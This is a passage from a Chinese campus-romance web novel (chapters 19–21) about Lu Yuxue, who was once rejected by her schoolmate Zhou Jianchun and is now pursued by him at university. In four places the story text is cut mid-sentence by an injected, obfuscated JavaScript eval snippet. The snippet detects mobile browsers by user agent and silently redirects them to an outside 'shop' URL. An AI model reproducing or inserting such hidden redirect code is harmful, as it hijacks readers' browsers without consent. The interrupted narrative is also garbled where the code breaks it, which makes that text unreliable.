他们并肩走着,谁也没有再说话。卢郁雪停在一棵金黄色的梧桐树下,指着不远处的随园二栋说:“我到了。” 他止了步子点点头。 阴云密布但没有下雨,风不知从哪个云层卷了点雨水过来,卢郁雪觉得面上有潮湿的水汽,抬手去接却什么都没有。 “跑步的事看天气吧,如果下雨就算了,容易感冒。我先走了,拜拜。” 她的掌心粉白眼神清亮,黯淡的天色下轻轻挥了挥像是春日的鲜桃。周见春的视线停留在卢郁雪身上迟迟不肯开口。 见她蹙着眉似乎有些生气自己一直不说话,周见春俯身凑近,别有意味地开口:“谢谢关心,下雨我知道回家。” 卢郁雪不知道周见春刚刚那几秒里想了什么,也不知道怎么走了几步路就像变了一个人,怎么能说出这样的话来。 刚刚那个手足无措的周见春去哪了? 她把手缩回了口袋插着兜瞪他:“我关心我自己手机好不好,万一进水了怎么办。我不跟你说了,马上要下雨了,你再不走等着挨淋吧。” 她说完拔腿向自己宿舍楼跑去,连周见春那声再见都没有听到。 自己果然对周见春了解太少,他和自己以为的完全不一样。 和她猜得一样,没过多久又下起了雨,她吃着外卖拉着帘子在宿舍追剧。叶敏用伞捣开宿舍门,单手提着行李箱进了门。 卢郁雪按了暂停起身去帮叶敏拿伞,折叠起来的伞面下她的两根手指头还挂着袋子。 伞随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984201|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔在了地上,叶敏把箱子推到自己衣柜旁,将其中一个袋子递给卢郁雪。 “什么呀,请我的?” “不是我说,你和周见春搞什么,你俩谈啦?” “哈?” 包装精致的小蛋糕搁在她的桌上,卢郁雪看清了里面的样式。 提拉米苏。 周见春送她的吗?为什么是提拉米苏,她也没说过自己爱吃。 见卢郁雪盯着蛋糕沉思,叶敏顿觉不妙,她只是随口一说怎么国庆七天假过去,两个毫不相关的两个人就谈上了。 沉溺在自己思维里的卢郁雪这才发觉有一道目光还在注视自己,她转过身来解释:“不是,我没有,我和他就是同学,我们俩高中同学。” 叶敏累得够呛,双手叉腰下巴一扬,“那,那是什么,怎么人家平白无故送你。” “我不知道啊,你,你不是也有吗?”她结结巴巴地指着叶敏的桌面为自己辩驳。 她真想扒开卢郁雪的眼皮让她仔细看看,这能是一样用心的东西吗?指名道姓把提拉米苏给卢郁雪,另一个切块千层给自己。 “说正经的。我来时候在楼下看见周见春,他让我帮忙把蛋糕带上来。我问他为什么不让你下来拿,他说不知道你想不想吃。” “我以为他还因为踩你伞那事道歉呢,说你什么都吃,他就给我了。” 叶敏靠着椅背单手支着下巴,说得随意但一直留心卢郁雪的反应。 “他站很久吗?现在还在楼下吗?” 聊天框没有新的消息弹出,如果不是叶敏遇到周见春,他可能还会站得更久而自己一无所知。 “当然走了呀,东西我都拿上来了,你俩怎么回事?你不是说,计算机考试那天第一次见,怎么现在又成高中校友了?” “就同学啊,我们都是十九中毕业的,偶尔升旗课间操会碰见。” 她别开叶敏直勾勾的视线,扶着椅子坐下,开始拨弄塑料袋,希望在她大声的赞美里叶敏的注意力可以转到食物上。 但她忘了叶敏是一个能在十佳歌手现场写辩论稿的狠人,这样的干扰对她来说,微乎其微。 叶敏走到卢郁雪桌旁抓了一个小马扎坐下准备审问她,卢郁雪哭丧着脸解释道:“我和他真不熟。” “不信。” “我们三年都没有在一层楼,他高中时候是个冷脸男,估计都不知道我叫什么。” “不信。” “我就有一次回家发现他和我住一起,说了几句话,真的没有再说过话了。” “不信。” “我高考完和他表白被拒绝了。” “不,什么!” 单手拖着下巴的叶敏面无表情重复两个字,准备和卢郁雪一直耗下去。但只蹦出一个字,她的大脑突然意识到刚刚卢郁雪说了什么话。 “不是,凭什么?他凭什么拒绝你?他长得很帅吗?你也很漂亮呀。” 她站起来把卢郁雪已经打开的提拉米苏推到桌子边,指着包装盒郑重地说:“你,不许吃他的东西,也不许和他在一起。” “啊?不是,不是,你听我说,我没有和他在一起,你误会了。”卢郁雪慌乱地解释道。 叶敏根本不听,用力拍了卢郁雪的桌面愤然说道:“我跟你说,他现在肯定是后悔了。” “不过他为什么拒绝你?” 高中说不喜欢人家大学巴巴往前凑,不是渣男就是有病,只喜欢不喜欢自己的人。 “拒绝能有什么原因,不喜欢呗。” 19. 祝你前程似锦 自从在师大附中遇到周见春之后,卢郁雪就期待之后的其他考试也能遇到他。 只可惜,平时期中期末他们不在一个考场。而高考考点,她也没有二班的名单。 高考的最后一场是生物,她又和宋芷兰分在不同考点,班内有几个相熟的同学和她在同一栋楼,但也只是聊了几句就各自低头看书。 不过这也是最后一次尴尬寒暄,他们之后应该不会再见。 考试结束的信号发出,她一一摊平答题卡试卷草稿纸等监考老师按座位号收取。 屋内打着冷气,已经六点钟天色还很亮,连晚霞都没有到色彩最为浓郁的时候。 楼上楼下已经有脚步声,讲台前的监考老师清点完卷子放进试卷袋。 “可以离开了。” 七八八七的四列考生哄然散开,卢郁雪起身时衣服勾到桌角,桌角上白底黑字的标签条映入她的眼帘。 从铃声响起那刻,它就成了一张废纸。 会在下一次考试的标签条贴上前,也可能是桌子的主人坐下时,成为集中处理的一员被扔在垃圾桶里或者倒入垃圾场。 她的姓名准考证号身份证号,决定一个人独一无二的东西,却是其他人毫不在意的东西。 卢郁雪抬手从标签纸和桌面闪出的空隙中找到着力点,用力撕了下来。 当个纪念吧,只有自己在乎它了。 贴了三四天,残余的胶水黏在桌面上,卢郁雪用指腹试了试,黏黏的。 十九中紧闭的正门早已放开,有穿着校服的学生赶回来上晚自习,嘴里满是作业放假期末的字样。 可这些,从此都和她无关了。 清空教室那天,卢郁雪还有些书本带不完留在了老张办公室。 现在高考结束,上锁的办公室也都开了门。 卢郁雪推门而入,空无一人,她从桌下移出自己的书本,单手带上了门。 这是高三教学楼,高二还没有搬过来。考试已经结束十几分钟,整栋楼都没有什么人。 下到一楼的时候,卢郁雪觉得有点累。 她把书本放到大厅的废弃桌子上,掂量着要不要往书包里塞几本。 临近的楼梯口下来一个人,卢郁雪没在意。那人轻车熟路地进了一楼办公室拿了什么东西出来,带上门时卢郁雪已经把书本都放到包里。 拿起桌上还是黑屏的手机,准备边走边等它开机。 天色变幻很快,香樟树冠的正上方已经有几颗低垂透亮的星,浅淡的樱粉色层层渲染叠加,像是渐变的海。 浮动的光斑弱了下去,凝成斜斜的一道金黄色,照在卢郁雪的脚下。 周见春走到这样的光下,似乎还能看见微细的尘埃。充足的光线勾勒出他侧脸的轮廓,也添了份金黄于他的眼中。 “周见春。” 看清人脸的刹那卢郁雪就叫了出来,她抓起手机追了上去,但周见春似乎没听见。 广场太过空荡,路两旁的香樟树也遮不住什么风。往教学楼这边走的人太多,满是叽叽喳喳的闲谈。 楼层的阴影要比光照的地方阴冷,风鼓起他的衬衫,他的背挺得很直。一个人走着,也不会让人觉得他很孤单。 像是单枪匹马地去赴未知的世界,又像是无欲无求地体验人间。 他不属于这里,也不会停留在这里。 卢郁雪觉得自己要是再不说,可能很难再见到周见春了。即便在互联网如此发达的现在,她仍然担心周见春会从此与她失联。 “周见春!” 卢郁雪扯着嗓子喊他的名字,斜背着包的周见春停了步子,风将他的衬衫吹成波浪的形状,像是湖面。 他转头看向声音的来源,只有卢郁雪一个人在他的视野中。 气喘吁吁,像是刚跑完步。正是日落时分,明暗的交界模糊,她站在周见春眼前,却不真切,像是幻想又像是梦。 “你还记得我吗?”她指着自己问周见春。 “卢郁雪。” 他毫不迟疑答了上去,卢郁雪略有欣慰地点点头说道:“对。” “我有话跟你说,你现在方便吗?” 她跑得太急,现在还没有缓过来,但和周见春说话没有一点卡壳,趁着他思考的时间平复自己的心脏。 高考结束卢郁雪并没有太大的情绪起伏,她不留恋高中也不期盼未来,只是平静地觉得自己人生的一个阶段结束了。 眼前的周见春似乎也是如此,不知是不是因为只有他们两个人,常年凝于面上的冷霜终于卸下,依旧冷淡但能感受到外界的风,看见变化的神色。 “嗯。”他轻点头。 “那就好。” 卢郁雪已经习惯周见春这样回应,也不在乎他会给自己什么回答,径直走向梅林那里的亭子。 这里离教学楼和宿舍都很远,安排了正门的不远处但鲜少有人会逛来,周围树木林立湖水清澈,静谧得不像是在市中心。 还是只有他们两个人,但和广场上熙熙攘攘的人群不同,快速跳动的心脏无法被喧嚣掩盖,卢郁雪实实在在地感受到自己的紧张。 亭子内有座椅,现在这种情况也不需要坐了,卢郁雪环顾一圈,觉得这地不错。 反正也只是她一厢情愿,地点怎么样也不是很重要。 手机已经开机,不停往外弹着消息,卢郁雪把屏幕倒扣在自己掌心,晃着身子不知道怎么开口。 这不是她计划之中的事,一时冲动把周见春拉来了这,看对方很是认真等着自己开口,她有些心虚地别开视线。 现在不说好像也不行,她也没有什么其他事值得专门把人拉到这里。 越想她的脸颊越发红烫,声线也开始不稳,她只好清清嗓子一鼓作气地迎上周见春的注视。 “我喜欢你。” 没有任何铺垫就这样莽撞地开口。 周见春呆在原地似乎完全没想到卢郁雪会说出这句话。 呆住的大脑这才缓慢地开始处理信息,宽厚的书包带被攥得变形,睫毛不合时宜地多闪了几下,连呼吸都有些急促,耳垂染上一点红。 卢郁雪咽了咽口水,往旁边挪了一点,给他留出足够的空间仔细思考。 悬在半空的落日不知何时藏在香樟树冠中,茂密的枝叶顺着风向晃动,虚虚实实的光影中隐约窥见蟹壳红色的太阳。 似乎更为通透,像是罩上薄纱的光球。 风从卢郁雪身后吹来,她看到周见春的手从书包肩带上移下来,垂在身侧。 一道干涩的声音乘风抵达她的耳边。 初夏的傍晚散去燥热,拂面的风湿润清朗,可周见春的话却像是秋日枯黄的树叶,了无生机。 “抱歉,我不喜欢你。” 卢郁雪抬头怔怔望着他,她的视角可以看见男生平整的领口修长的脖颈还有突出的喉结。 和记忆中的周见春一样,永远干净整洁,永远不近人情。 卢郁雪深吸一口气消化这句话。 她还是有点伤心。 怪不得文科班女生被周见春拒绝后哭了好几天,她现在也有点控制不住地想哭。 她以为自己能坦然接受对方的拒绝,可听到的时候还是控制不住地失落。心猛地收缩,情绪涌了上来,她的鼻头有些酸涩,语调也找不准。 “没关系,我们本来也就没说过几句话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007199|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想说得轻松,可本该上扬的尾调只如失去风的纸飞机直直往下坠。 “毕业快乐,祝你前程似锦。” 她扯出一个笑,却没有勇气直视周见春,垂下头咬着嘴唇从他的身边离开。 被死死握住的手机不知道什么时候蹭到了关机的按钮,卢郁雪只能再次长按开机。 黑漆漆的屏幕里,她看到自己的嘴角向下撇。 哭得很难看。 后来卢郁雪缓过来神,才想起自己忘了问周见春的联系方式,可人家都拒绝自己了,又有什么加的必要。 直到计算机二级考试当天,她才时隔一年多再次遇到周见春。 卢郁雪一开始还有点幻想,周见春会不会因为自己才考这所大学。可志愿都是在家报的,而且她高考发挥超常,不存在周见春高分低报的情况。 既如此,她还是继续讨厌周见春吧。 可不喜欢自己又没有违法犯罪,卢郁雪本着大人有大量的气度接受了他的赔礼道歉。 不曾想,现在的周见春温和得惊人,敛去年少的所有锋芒尖锐如水一般浸润她的生活。 要问卢郁雪现在还喜不喜欢周见春,她自己也说不清楚。 “没了?这就没了?” “没了呀,他就说了这一句话。” 卢郁雪摊开手掌很是无奈,他们的交集实在太少,想分析都找不出几句话。 “啊?那这么说你们就没见过几面,他现在怎么突然对你这么好,愧疚?” “可能觉得自己高中拒绝太高冷,弥补我一下。”她沉思一会儿想了一个合理的解释,叶敏全然不替周见春开脱。 “他都说了不喜欢你,现在弥补是铺得哪门子路,他是明天要出道还是明天结婚?” “别激动别激动,高中时候还比较小嘛,而且,他也没说喜欢我。校友吧,把我当校友了。” 卢郁雪有一下没一下地弹着桌面的不倒翁,摇摇晃晃又回到原点。她泄了气,也不想去细究周见春为什么和高中的态度完全不同。 人都会长大的,也是会变的,过去有点小矛盾现在想要重新维护关系也是人之常情。 雨后的江林市气温一直很低,卢郁雪和叶敏两个人哆哆嗦嗦地从宿舍楼出来抢到两辆共享单车。 “你说,偶像剧女主上大学也要校园跑吗?她会不会也和别人抢共享单车?” 叶敏白了她一眼回道:“抓紧的吧,过了八点不算晨跑,以后更冷。” 卢郁雪旁边的车子已经扫码开锁,叶敏确定三个打卡点问她:“我先走了,教室见。” “哦行,破校园网出了宿舍楼又断了,我切一下流量。” 叮叮当当的铃声远去,卢郁雪终于开了自己眼前的车锁,记住打卡点把手机塞进口袋蹬上自行车。 随园住的是文学院和马院的女生,外国语学院也有一部分,但比较少。赶着上早八的人很多,她骑两步就要按一下铃铛。 往食堂的方向拐时,有人突然从路牙石走了下来,她刚刚从两个女生身后超上来完全没有注意。 连闸带脚双重制动,才正好停在男生面前,再晚一步,就要压到他的脚面了。 “对不起对不起,实在不好意思。” 她双手合十低着头道歉,却没有听到对方的声音。随着视线缓慢上移,卢郁雪的歉意也烟消云散。 “你大早上也不看路,我还要校园跑,我先走了。” 她抓着车把要走,周见春也攥住她手旁边一截车把,没用多大力气,只是把一瓶酸奶和一杯小米粥放到了她的车篮中。 瓶身比边框要高,不用想,骑几步就会倒。 “记得吃早饭。” 20. 你图什么 卢郁雪用手背试了试,酸奶是冰的,粥是热的,两个一起喝,还不得拉肚子。 周见春说完人就走了,上课的人实在太多,她也骑不了多快。 现在是七点四十,校园跑要十分钟左右,她上楼还要时间,最多可以和周见春聊五分钟。 卢郁雪将校园跑按了暂停,蹬着自行车赶上周见春,为了配合他的速度只能慢慢骑着,勉强让车子不倒。 “周见春,我现在只能和你聊五分钟。” 他听到是卢郁雪的声音,转头看向她,没有点头但卢郁雪能看出来他在等自己说下去。 “你专门来随园就为了给我送这个?” “是。” “可是我不吃早餐。” 昨天熄灯之后卢郁雪的手机收到系统自动推送的通知,周见春近期访问了她的空间。卢郁雪只开放高考之后的内容,她一路拉到最低才明白为什么周见春给自己送提拉米苏。 不过是她大一军训时发疯随手发的一条。 叶敏说得也有道理,校友就该有校友的边界,她帮他找家教,他请自己喝奶茶,本身就平了。 现在扯这些,完全就是在礼貌之外的多余纠缠。 “你可以下午喝。” 像是没听出来卢郁雪话中的刁难,他好脾气地说道。 卢郁雪干脆敞开了跟他说,拉拉扯扯的也不是办法。 “你的钱应该用在对你有利的地方,而不是我的身上。你的好意我不一定心领,你图什么?” 她单脚支地停下自行车,身子前倾想要去拿车篮里的东西还给周见春,却被他伸手挡住。 “我想花在你身上,我不图什么。” 再抬眸时,他的神色冷冷,像是过去的周见春,对自己不理睬的周见春。 生气了吗? 卢郁雪有些心虚的咽了口水,声音也小了下去,“我不想你花在我身上,我们,我们本来也不是很熟。” 她嘟嘟囔囔地说,余光瞥着周见春的脸色。 今天出了一点太阳,但不晒,风一吹便感受不到任何暖意。 周见春的脸色也是这样,明明灿灿的日光下却垂着眸,像是有人得罪他一样。 也不算得罪吧,卢郁雪觉得自己说的是实话。 “如果是因为高中的事,我很抱歉。能给我一个机会重新开始吗?从现在,开始做朋友,可以吗?” 地面还未完全干透,但已经能够卷起砂砾,卢郁雪微微眯着眼以防眼里进沙子。 他还是习惯斜背书包,宽厚的肩带已经攥到变形,另一只手垂在身侧任由风吹着,像是枯败的残叶。 他站得高,以往说话都像是悬在卢郁雪的脑袋上。但现在,他俯下身和卢郁雪的视线齐平,漆黑如墨的眼眸被阳光照得透亮,让她无法避开对视。 “再说吧,我赶时间。” 她盯着周见春说道,毫不心虚,语调稳得能去念个普通话最后三分钟作文。 冰的酸奶和热的小米粥连着吸管被塞回周见春手中,就像过去他塞给卢郁雪一样。 轻拧一圈铃铛,前面并排走的男生自觉散开,卢郁雪大方地和周见春说了再见。 她拒绝了周见春,准确来说,是拒绝了他的示好。 这不是因为高中表白被拒的报复,她心胸没那么狭隘。 难过吗?有一点,毕竟是自己真喜欢过的人。不仅主动送她回家还送甜品给自己,但也恰恰是这些,让她险些忘了他们并不熟悉。 她现在拒绝周见春,和周见春那时拒绝自己的理由一样,他们彼此都没有了解。 拒绝,只是一个正常人对异性靠近的谨慎。 高中时候喜欢一个人,可能仅仅因为他成绩好长得帅,说话风趣幽默或者会点才艺,那时候俘获女生的心可以这么简单。 但现在不行,她已经过了那个年纪,也不会这样纯粹地因为对方光芒万丈而被吸引,她又不是蛾子。 踩着铃声,卢郁雪终于赶到教室,在密密麻麻的大教室看到疯狂招手的叶敏。 “差点迟到了你,路上人太多了吗?” “遇到周见春了,多说了几句话,差点没蹬死我。” 说话的间隙,前排向后递了一张表格,叶敏接过去仔细看了看。 “什么呀?” “医保。你交吗?” “我本地人。”卢郁雪摊开书页放好一支笔在中间,略有得意地说道。 “显着你了,我给你签在不申报里面了。” “行。” 这是国庆返校后的第一节课,有不少人请假未归,卢郁雪坐在人群中总感觉心虚,可能因为没听课吧。 一个上午过去,前排不知道传来多少张表格要签字。 “这什么呀?” “意外险。” “这什么?” “综测公示。” “什么?” “贫困生公示。” “?。”卢郁雪懒得说话,只递了个眼神过去,叶敏心领神会。 摊平要签的那一刻,卢郁雪看清了标题。 【江林大学2024年秋季运动会】 “等一下,等一下,这个不签,这个不签。” 即将接触纸面的笔尖收了回去,叶敏脸上挂着坏笑,“我还以为你要去跑八百呢。” “去去去,我才不跑,你也不问问我,差点签上了。” 一想到八百米,还是去年体侧,跑那个死样子,提起来就心有余悸。 只恨每年都要体侧,今年的也快了。 她们下午没课,从一食堂往随园走,沿路支了许多彩棚,本就不宽的道路更是水泄不通,卢郁雪连忙收了从家里拿来的遮阳伞,生怕又折了。 “这什么呀?” “社团招新好像是。”叶敏垫着脚看清了一个海报的标题,拉着卢郁雪要绕路过去。 “好像是今天。” 卢郁雪想起前几天部长发在群里的志愿表格,不过他们学院学生会招新只面向各自学院,不会在这支棚子,志愿者也就是负责面试一些杂活。 “你们朗诵社还招新呢?什么人会喜欢朗诵?” “不知道,可能以为朗诵和合唱团一样,每天嗷嗷嗷吧,不过综测加零点五呢。” 叶敏仔细回想认真地给卢郁雪分析什么人会加入朗诵社,应该和她一样,被录取之后不好意思开口退社。 “你那绩点还差这零点五嘛?”她联想到上午签的综测公示单,叶敏绩点综测双第一的狠人。 “多多益善嘛,你今年能不能考过你那二级,班长算综测时候你差点就去三等了,还是我给你扒拉到一个加分的奖项。” “……” 提到这事,不得不想到自己那没做完还加时的PPT,卢郁雪呵呵两声问叶敏:“计算机什么时候出分?” “呃,十一月十二月吧,还没公布。” 罢了罢了,卢郁雪一点都不想面对这件事。 傍晚卢郁雪从便利店提着袋子回来收到了周见春的消息,问她还需要代跑吗? 【不需要。】 她回得很干脆。 周二她上早十,没遇到周见春。 周三,又是该死的早八,周见春不在楼下,但在她和叶敏身后。 背着书包,一个人垂头走着。说明显吧,他混在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027408|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里,说不明显吧,一个男生在女生宿舍附近,怎么都是显眼的。 周四上午,叶敏早早起来背着自己的羽毛球拍,卢郁雪往嘴里塞了一块糖挽留她:“你一定要打你那羽毛球吗?” “嗯。我先走了,你快点啊。” “我不急,今天不上课,测八百,跑完就下课。” 力度没掌握好,防晒霜挤出长长一截,卢郁雪蹭了一点在叶敏手背上,笑嘻嘻地再把剩余的抹在自己手背和脖颈上。 “咿,我室内,不需要防晒。那你还和我一起吃饭不。” “不了,顺利的话,我应该半个小时就结束。而且我不跑,我生理期。” 她朝叶敏狡黠一笑,眼里的得意劲都要溢出来了。 “那你怎么不请假,还去操场干站?” “他让不跑的先测体前屈,我打算测完就走。” 一连几日都是晴天,而且是很晒的晴天。但空气又是冷的,走在路上,反而觉得很舒爽。 为防止有同学拉伤,开跑前还做了一点体操。卢郁雪照虎画猫地应付完跟着负责人去测体前屈,体育老师带着剩余能跑的女生去测八百。 没有老师在场,体测就水了很多,四入五也入,全部往前进位。 确实自己名字后的数据无误,卢郁雪带上遮阳帽往操场外走。 也不知道多少班在上体育课,只是一眼看去,乌泱泱的人。从操场穿过去其实很不安全,因为足球班在上课且多是男生。 但不穿过去,就要绕一大圈。 卢郁雪琢磨着等跑八百一千的人结束离足球班远一点穿过去。 离她最近的跑道站着一位男老师,手里掐着秒表,站在旁边的男生捏着像是教案的东西等着还在弯道的男生冲线。 男生一千米和女生八百米的冲线地不一样,卢郁雪猜女生八百米应该在另一端跑道。 不出意料,另一端站了不止一位老师。这年头,体测还得排队,学校也不多盖一个操场。 她站在看台的阴影里,晒不到太阳,风一吹,阴冷阴冷的,卢郁雪扶着帽檐以防被风吹翻。 “三分一零,三分一四,三分二二,三分二四,二五,二六二六,二七。” 哇靠,这是人嘛,八百米她也跑不了这么快。 不会是体育生吧。体育生是什么专业来着,她记得不同学院上体育课时间不一样。 拿着登记表的男生被一群人围着,因为还有下一个班要体侧,他们往看台处挪了挪。 卢郁雪见从操场穿过去不可行,准备摸个口罩从操场绕一圈出去。 她今天走得急,把口罩和宿舍钥匙放在了一起,纤细的带子勾住钥匙扣,指头沿着钥匙轮廓一路摸索也没有分开。 卢郁雪有些无奈地想把它们拿出来再分开,可纤细轻薄的口罩垂在她的指尖没有预想中的重量。 啪嗒一声,钥匙掉落在地。 声音不大不小。像平静的水面上落了一片枯叶,又像是无人问津的店铺突然响起了风铃。 看台的通道和操场贯通,一阵长风浩浩荡荡吹过,对折的口罩顺着风来的方向飘动。 卢郁雪俯身拾起钥匙,双手撑开口罩带侧身背对着风带好,抬眼的瞬间有一道目光望向自己。 喘息声掐表声和簌簌作响的梧桐叶都被隔绝,交汇的视线里两个人都没有说话。 但卢郁雪总觉得周见春应该在心里骂自己。 她捏了捏鼻梁闪出的缝隙佯装无事地转身,双手扶着渔夫帽的帽檐迎着风走。 带了口罩,应该没认出自己吧。 毕竟高二时候他就没有认出自己。 “卢郁雪。” 21. 你跑什么 跑一千米的时候你在想什么? 每次看到这种问题,评论区都会有各种各样的回答。 但周见春怎么想,也想不起来自己当时在想什么。应该是不重要的东西,不然怎么会记不住。 从弯道拐到直道,离冲线已经不远。 理论上,都会说弯道超车更容易,可周见春觉得无论弯道还是直线都一样难跑,都需要咬着牙憋着气往前冲。 没有任何讨巧的办法,只要迈开腿向前就能看见终点离自己越来越近。 这是他经历过最公平的事了。 降了温的空气灌入鼻腔,难受得想手动保暖增温再吸入。 看台的一侧站了不少人,多是体测完扶着栏杆休息,周见春本不该在跑步时候左顾右盼,可一直直视前方未免压力太大。 余光扫向看台和操场通道时,一阵阴冷的风和被太阳晒着的暖风相冲,将他从前两圈昏昏沉沉的状态里硬生生薅了出来。 已经失焦的视野重新聚焦,他听到体育老师掐表的滴声。 “三分二九。” 结束了,他扶着膝盖大口大口喘着气,走向被围在看台栏杆处的登分员。 看台通道里放了一台红色的自动售货机,不少男生围着出货口取东西。从周见春的视角看过去,有位女生刚好遮住部分电子屏幕。 卢郁雪的课表上只写了体育,并没有注明哪个项目,周见春试着给她发消息,但总是得到敷衍的回答。 他还没弄明白为什么卢郁雪这段时间对自己又冷淡了,是他靠近地太急了还是卢郁雪只把他当校友。 又或者,是自己那时拒绝得太过生硬,遭人讨厌了? 可那并非出于自己本意。 每每提及这件事,他都不知道怎么和卢郁雪开口。他们不是一个世界的人,他早该明白。 他拿起手机和被压在手机下的湿巾认真擦拭出汗的皮肤,裹在纸巾里准备扔到通道的垃圾桶。 又是一阵长风浩浩荡荡贯穿整个通道。还留有湿巾水汽的皮肤被风拂过,带走热量也清爽许多。 风中裹挟很多远方的声音,各种声线交织在一起,纷繁复杂的声线里,有金属相碰的啷当声。 上一次听见,好像还是卢郁雪书包上的钥匙扣。 她喜欢挂毛茸茸的玩偶,又担心丢了心疼,于是别了很多钥匙扣,走起路来叮叮当当的,像是背着无数宝藏。 他循着声音望去,自动售货机前的女生已经弯下腰捡什么东西。压低的帽檐下能看见女生向下撇的嘴角,好像在叹息,但并不气恼。 钥匙上别的不是毛茸茸的玩偶而是亚克力的动漫人物。 他听错了,那是亚克力掉地的声音。 应该不是卢郁雪,周见春这样想。 他抬脚要往通道走,即将移开视线的刹那,女生双手撑开口罩往耳后别,垂下的眼眸视线向上移,他看清了那双眼睛。 清透纯澈,不含杂质。那是卢郁雪。 卢郁雪好像也看到了他,顿在空中的手还套着口罩带忘了移开。 绷带套上耳廓的束缚感迟迟没有传来。 卢郁雪这才意识到自己分了心,若无其事地把手移到鼻梁上捏了捏空隙压了压帽檐转身要走。 周见春凝神盯着女生的一举一动,不用摘下口罩,他都能想象到卢郁雪的表情。 不会认错,那就是卢郁雪。 她疾步走着,连头都不敢回。 周见春叫住她。 没停。 有鬼。 周见春快步追了上去。 风很大,她也不扶着帽檐了,摘了口罩方便呼吸拔腿就跑。 该死的,周见春眼神怎么变好了。 她也不明白自己为什么要跑,和周见春没仇啊,但一想到要和周见春说话,她就畏惧。说不清在畏惧什么,她能感受到周见春越界的关心。 出了看台通道是体育馆,这条路一开始就没打算留给私家车通行,路边又摆了一排共享单车和学生的电动车。双行道成了单行道。 初秋的太阳照在人的身上与冷风相和,卢郁雪低着头小跑,风从她的头顶吹过。 男生的步子大,她能听见脚步声离自己越来越近。 别追了,别追了,再追她就得发挥自己五十米的速度了。 体育馆有许多出口,里面避光又多狭长的走廊,气温比外面还要低几度。原本向后飘的碎发突然换了方向,没有防风绳的帽子被吹翻。 热烈的日光倾泻而下,微卷的黑发透着橘黄色的光,立体的五官勾勒出线条。她肤白但不苍白,透着红润,调和得近乎一体。 卢郁雪的身子后仰,袖口募地下滑,露出一截纤细的手腕。 秋季的天空辽阔高远,云层稀薄缥缈,被太阳晒透的风轻盈又柔和。狭长的通道将他们和操场隔开,世界仿佛只有他们两个人。 “我的帽子。”她焦急地叫了出来,但身后的人是周见春。 无所谓,反正他也认出来自己了。 那顶帽子被吹得很高又稳稳地落在周见春手中,他似乎有些无措,但见卢郁雪伸出手讨要,竟藏到了身后。 她又不瞎,这里就他们两个人,又不是人参果,掉地上就没了。 “还给我。”卢郁雪走到周见春身前,伸出手讨要。 周见春也不动,只是把帽子背在身后。 她一偏头就看到了自己的帽子,瞪了周见春一眼伸手去拿,可那顶黄色的帽子只是从右手换到了周见春的左手。 卢郁雪身子又往前倾了一点想去拿,周见春直接高举过头,害得她差点扑空。 “周见春,你混蛋。” 她大声地骂了一句。 没反应? 卢郁雪气不打一出来,用力踩了一下他的鞋子,想他松手去拿自己的帽子。 周见春不动,看着她的视线从地面移到头顶又气愤地看着自己。 明黄色的渔夫帽依然举得高高的。 像是一面旗帜,而且是只有周见春能降下来的旗帜。 他居高临下地问她:“你跑什么?” 他只当没听见卢郁雪骂他的话,另起了一个话题。 “我校园跑呢。”刚说完卢郁雪又觉得跟周见春解释这么多干嘛,没好气地接了句,“你管得着吗?” “为什么不回我消息?” 周见春又换了一个话题。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056382|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我回了呀,你发的每一句我都回了。” 她高昂着下巴,气势不减。 “你说的是,不需要,上课,吃饭,这种?” 他的尾音上扬,因为刚跑完一千米,听起来略有干涩不够清润,便显得有些欺负人的压迫感。 这样的天气,周见春只穿了短袖。明黄色的渔夫帽被人捏住帽檐,流畅的手臂线条和清晰可见的血管就这样暴露在日光下。 见卢郁雪不回答,周见春故意弯了一点手臂。果然,卢郁雪又踮起脚尖去够。 她根本没想认真回答自己的问题,周见春轻笑了一声。 他们之间的距离不过一寸,卢郁雪每靠近一点,周见春的脉搏就跳得更快。可他只是换了一个手,然后看着卢郁雪再次矮了下去。 卢郁雪将直接干架的心思压了下去,她是打不过周见春的,只好站回原地偷偷观察周见春的脸色。 平静,太平静了,卢郁雪根本猜不出来周见春在想什么。 